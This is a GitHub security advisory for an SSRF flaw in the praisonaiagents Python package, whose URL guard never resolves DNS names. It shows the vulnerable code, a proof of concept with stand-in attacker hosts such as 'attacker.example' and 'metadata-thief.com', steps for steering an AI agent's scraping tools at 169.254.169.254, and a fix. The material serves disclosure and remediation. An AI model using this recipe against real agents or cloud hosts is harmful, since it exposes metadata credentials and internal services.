GitHub Advisoryadvisory · PyPI
GHSA-vxgj-xg5c-p4h7 praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS
HIGH
Official page ↗
- Aliases
- CVE-2026-57126
- Ecosystem
- PyPI
- Packages
- praisonaiagents
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-06-18
Affected packages
• PyPI praisonaiagents: < 1.6.59 → fixed in 1.6.59
Description
praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS
Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research
Target: https://github.com/MervinPraison/PraisonAI
Weakness: CWE-918 Server-Side Request Forgery (SSRF).
---
Summary
The SSRF guard shared by PraisonAI's web tools (`SpiderTools._validate_url` → `_host_is_blocked` in `praisonaiagents/tools/spider_tools.py`) inspects only literal IP-address encodings of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal, loopback, link-local, or cloud-metadata address passes validation and the request is issued to that target. A static internal A record is sufficient — no DNS-rebinding race is required.
The guard's own docstring claims it returns `True` "when hostname resolves to loopback/private/internal targets," but no resolution is performed. The fix for CVE-2026-47390 added more *encodings of literal IPs* (decimal integer, `0x` hex, `inet_aton`); it did not address the *class* "host is a name that resolves to a forbidden address."
The same guard is reached through two tool surfaces:
• `scrape_page` / `crawl` / `extract_links` / `extract_text` (spider tools)
• the `@url` mention fetch in `praisonaiagents/tools/mentions.py` (which calls the identical `SpiderTools._validate_url` then `urllib.request.urlopen`)
The correct pattern already exists in the same package: `file_tools.py` resolves the host with `socket.getaddrinfo` and checks each resolved address before fetching. `spider_tools` / `mentions` do not.
Affected packages
• `pip/praisonaiagents` bool:
"""Return True when hostname resolves to loopback/private/internal targets."""
...
if host.isdigit(): # decimal-int IPv4 literal
return _ip_blocked(ipaddress.ip_address(int(host)))
if host.startswith("0x"): # hex IPv4 literal
return _ip_blocked(ipaddress.ip_address(int(host, 16)))
try:
return _ip_blocked(ipaddress.ip_address(host)) # dotted v4 / v6 literal
except ValueError:
pass
try:
return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host))) # octal/short v4
except OSError:
pass
return False # request fires
The guard never even attempts resolution:
import praisonaiagents.tools.spider_tools as S
S.socket.getaddrinfo = lambda *a, k: (_ for _ in ()).throw(RuntimeError("RESOLVER CALLED"))
assert _host_is_blocked("attacker.example") is False # no RuntimeError -> never resolved
print("[+] CONFIRMED: SSRF guard ignores DNS resolution; name->internal bypasses validation")
```
End-to-end against a deployed agent: point any controlled domain's A record at `169.254.169.254` (or `127.0.0.1`, or an RFC1918 service), then drive an agent that has `scrape_page`/`crawl` enabled, or include the URL as an `@url` mention. The fetch reaches the internal/metadata target and its response is returned into model context.
Remediation
Resolve the host and apply the existing `_ip_blocked` check to every** resolved address before fetching — the pattern already implemented in `praisonaiagents/tools/file_tools.py` (lines 339–344):
```python
resolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == "https" else 80))
for family, _, _, _, sockaddr in resolved:
if _ip_blocked(ipaddress.ip_address(sockaddr[0])):
return True # blocked
```
To also close DNS rebinding (resolve-then-connect TOCTOU), pin the connection to the validated address rather than re-resolving at fetch time. Apply the same fix to both `_validate_url` and `mentions._fetch_url`. Additionally add `fec0::/10` to the IPv6 rejection set for completeness.
Steps to reproduce
1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`
2. Run the proof of concept shown above against the cloned source.
3. Observe the result shown under *Verified result* below.
Verified result
This PoC was executed against the live upstream code; captured output:
```
== Literal internal/loopback encodings — correctly BLOCKED ==
127.0.0.1 blocked=True
2130706433 blocked=True
0x7f000001 blocked=True
169.254.169.254 blocked=True
::1 blocked=True
localhost blocked=True
10.0.0.5 blocked=True
== DNS names whose A-record could point internal — NOT blocked (the gap) ==
attacker-controlled.example blocked=False
metadata-thief.com blocked=False
rebind.attacker.net blocked=False
== Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) ==
_host_is_blocked('metadata-thief.com') = False (no RuntimeError -> DNS never resolved)
== _validate_url verdict (replicating the method's host check on the real func) ==
http://127.0.0.1/ -> validate=False (blocked)
http://metadata-thief.com/ -> validate=True (PASSES -> request fires)
[+] CONFIRMED: name->internal bypasses the SSRF guard; getaddrinfo/gethostbyname never called.
```
Credit
Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.
Related
Alias · CVE (1)
- CVE-2026-57126 PraisonAI is a multi-agent teams system. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness